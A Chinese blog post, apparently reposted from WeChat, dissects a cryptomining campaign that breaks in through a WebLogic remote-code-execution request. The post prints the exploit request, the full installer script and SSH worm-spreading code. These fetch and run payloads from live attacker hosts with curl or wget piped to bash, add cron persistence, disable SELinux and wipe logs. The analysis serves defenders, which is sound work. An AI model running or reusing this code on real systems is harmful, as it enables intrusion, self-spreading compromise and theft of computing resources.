凶残的挖矿脚本,奴役我数千机器!

温馨提示:本文中出现的命令和脚本,不要在自家服务器上随便运行,除非你知道自己在做什么。

挖矿是把机器当作奴隶,一刻不停歇的去计算、运转,本质上是个无用的工作。但可惜的是,它能赚钱。用别人的机器去赚钱,更是很多人梦寐以求的,所以挖矿脚本屡禁不止。

有钱的地方,就有技术。但反过来并不一定成立。

牢记这个准则,就能够心平气和的学习新技术,而不是气急败坏的纠结为啥没钱。

1. 脚本从哪来?

下面是一个http的报文。

GET /console/images/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new String[]{'/bin/sh','-c','export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash'});"); HTTP/1.1

Host: 20*.10*.8*.1*9:7001 #已脱敏

User-Agent: curl/7.55.1

Accept: */*

Content-Type:application/x-www-form-urlencoded; charset=utf-8

很简单,waf防火墙拦截到相关包,一眼看上去就不正常。从关键字com.tangosol.coherence.mvel2.sh.ShellSession可以得知,这个请求,是想要利用Weblogic的远程代码执行漏洞。

这样的漏洞有很多很多,数不胜数,比如它可以通过redis进入。我们不必关注这些漏洞,默认它已经利用成功了。我们只看挖矿脚本是怎么部署到你的机器上的。

在java中,当然要调用它的Runtime类库,如果你的应用程序是运行在root用户的,那它什么事情都能干。

这就是为什么要求你线上部署的应用,都用权限低一点的账户,比如xjjdog去运行,而不是不要命的把root账户给开放。

exec函数带了三个参数。

  • /bin/sh 意味着它要执行一个shell脚本
  • -c 指明了要执行的命令
  • export src=logic;curl -fsSL t.bb3u9.com/ln/core.png?logic|bash 首先输出了一个全局环境变量,然后下载一个png文件

狡猾的人都喜欢带面具,而狡猾的脚本都喜欢改后缀。看起来是个png,但它是个脚本。

2. 脚本怎么安装的?

接下来摘下它的伪装,看一下它的真面目。

curl http://t.bb3u9.com/ln/core.png?logic > core.png 

查看core.png文件中的内容。不错,很长一段脚本。

#/bin/bash
setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
murl1="http://t.bb3u9.com/ln/a.asp"
murl2="http://t.jdjdcjq.top/ln/a.asp"
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
echo "">/var/spool/cron/root
echo "">/var/spool/cron/crontabs/root
if [ "`whoami`" ==  "root" ];then
    cronpath=/etc/crontab
    Xpath=/.Xl1
else
    cronpath=/var/spool/cron/`whoami`
    Xpath=~/.Xl1
fi
if [ ! -d "$Xpath" ];then
        mkdir $Xpath
        echo "$[$RANDOM%60] * * * * root $cmd1" >> $cronpath
        echo "$[$RANDOM%60] * * * * root $cmd2" >> $cronpath
        uname -a|grep x86_64 && echo "$[$RANDOM%60] * * * * root ps aux|grep p.b69kq.com |grep -v grep || $Xpath -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda" >> /etc/crontab
        export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
    export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash
fi

echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure

按照常规,我们来一行行拆解它。

1)关掉selinux。setenforce 0是关闭的意思,2表示stderr,出错了不提示。接下来会通过写配置文件的方式,永久性的禁止selinux。

setenforce 0 2>/dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

2)很良心的帮助清理一下系统内存

sync && echo 3 >/proc/sys/vm/drop_caches

3)构造guid,对机器进行标识

guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`

dmidecode命令,可以获取linux硬件相关的信息,会输出非常多的内容。-t 4表示只获取Process方面的内容。然后过滤一下ID信息,使用sed命令截取并去掉空格。

ID: 57 06 05 00 FF FB 8B 0F

会变成。

57060500FFFB8B0F

然后使用ifcongig命令获取网卡硬件MAC信息。做同样的处理后获得另外一个串。这段脚本写的稍微有点问题,因为ifconfig的输出经常会改格式,但不影响计算hash。

sha256sum就是算出这样一个hash,然后赋值给guid。比如下面这个。

786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

4)安装定时任务到crontab中

脚本选择了/.Xl1目录作为真正的挖矿程序的存储目录。注意这三个字母,后面是l和1,并不是X桌面的配置目录。在真正的脚本部分,我们可以看到下载的程序包地址是d.u78wjdu.com/ln/xr.zip

5)我们再来看一下下载的链接是什么样子的

cmd1="export gurl=$murl1?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"
cmd2="export gurl=$murl2?${src}_${cdate};(curl -fsSL $gurl*`whoami`*`hostname`*${guid}||wget -q -O- $gurl*`whoami`*`hostname`*${guid})|bash"

其中,src变量是在一开始就设置的,我们依次来还原一下。

export src=logic
cdate=$(date "+%Y%m%d")
guid=`echo $(sudo dmidecode -t 4 | grep ID | sed 's/.*ID://;s/ //g') $(ifconfig | grep -oP 'HWaddr K.*'|sed 's/://g')|sha256sum|awk '{print $1}'`
gurl=$murl1?${src}_${cdate}

最终会拼成下面的字符串,可以说该有的信息都有了,能够区分出到底是哪一台机器了。

url?_20210722*root*host_iZ2ze5w0d1f4lplj3yuflcZ*786e5dcff31795d7b6b24cdf4f114867f423315de9bd4a879b57478ad99e2c5c

3. 真正的脚本是什么?

$RANDOM环境变量,是个神奇的环境变量。直接输出的话,将会得到一个随机值。cron脚本周期性的拉取最新的脚本执行,把真正的挖矿程序部署起来。

关于真实脚本的介绍,xjjdog在另外一篇文章中有详细的介绍。在这个场景下,最新的脚本就是http://t.bb3u9.com/ln/a.asp,依然是改后缀的障眼法。

这个脚本显然比上面这篇文章介绍的要更加高级一些。脚本很长很长,就不贴了,你可以自己下载。它的主要意图,是下载一个叫做xr的程序,然后在马甲目录.Xl1中运行。xr程序才是挖矿的主要程序,其他的脚本,都是辅助它来运行的。下面是最主要的运行逻辑。

if [ ! -d "$Xpath" ];then
        mkdir $Xpath
fi
cd $Xpath
if [ ! -f "./xr" ];then
        uname -a|grep x86_64 && (curl -fsSL d.u78wjdu.com/ln/xr.zip||wget -q -O- d.u78wjdu.com/ln/xr.zip)>xr.zip && tar xf xr.zip && rm xr.zip
fi
uname -a|grep x86_64 && ps aux|grep p.b69kq.com |grep -v grep || ./xr -o p.b69kq.com:444 --opencl --donate-level=1 --nicehash -B --http-host=0.0.0.0 --http-port=65529 --opencl --cuda

要保证脚本的安全,怎么能少得了chattr命令。很多人遇见加了i参数的文件,不能被删除,就傻眼了。其实是可以通过-i参数去掉这个属性的。

chattr -iua /tmp/
chattr -iua /var/tmp/
chattr -R -i /var/spool/cron
chattr -i /etc/crontab

脚本还会通过nc命令,拷贝rsa公钥到你的每个用户目录下面,把你做成事实上的肉鸡,实现免密登录。关于nc这把瑞士军刀,我们也有过介绍。

for file in /home/*
do
    if test -d $filethen
        if [ -f $file/.ssh/known_hosts ] && [ -f $file/.ssh/id_rsa.pub ]; then
            for h in $(grep -oE "b([0-9]{1,3}.){3}[0-9]{1,3}b" $file/.ssh/known_hosts); do echo exit |nc -w 1 -n -v $h 65529 && ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h 'export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &' & done
        fi
    fi
done

这份脚本,还会病毒式的传播。localgo函数,通过从你的ps进程,history文件,还有hosts配置,拿到用户列表、主机列表端口、rsa密钥等,就可以批量的去尝试登录并传播这份脚本。当然,上面的xr程序会监听65529的端口,如果判断主机已经中招了,就不再继续探测。

能用65529这个端口,本身就够骚气的了,有几台机器能够达到上限65535呢?

localgo() {
  i=0
  for user in $userlistdo
    for host in $hostlistdo
      for key in $keylistdo
        for sshp in $sshportsdo
          i=$((i+1))
          if [ "${i}" -eq "20" ]; then
            sleep 20
            ps wx | grep "ssh -o" | awk '{print $1}' | xargs kill -9 &>/dev/null &
            i=0
          fi
          #Wait 20 seconds after every 20 attempts and clean up hanging processes
          chmod +r $key
          chmod 400 $key
          echo "$user@$host $key $sshp"
          echo exit |nc -w 1 -n -v $host 65529 &&  ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host -p$sshp "export src=sshcopy;(curl -fsSL http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`||wget -q -O- http://t.bb3u9.com/ln/core.png?sshcopy*`whoami`*`hostname`)|bash >/dev/null 2>&1 &"
        done
      done
    done
  done
}

最后,脚本还不忘汇报一下,形成完美的闭环。

reurl=http://t.bb3u9.com/ln/report.asp?*`whoami`*`hostname`*${guid}*${isdocker}*${pyver}*${isxrfile}*${hashrate}*${mip}
(curl -fsSL $reurl||wget -q -O- $reurl)|bash

4. End

如果你发现你的机器不明原因发热,务必排查一下有没有挖矿程序。虽然你的服务器摆在那里也没什么用,但用着你的电费,收益却给别人,相信你一定会嫉妒的要命。那么别犹豫,kill -9送给它,别忘了清理cron。

重装是我们的秘密武器,仅次于重启。嫌麻烦的话,就这么干吧!

– EOF –

转自:https://mp.weixin.qq.com/s/oo5z7XqPBp9ZdNx8qsYkaA

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注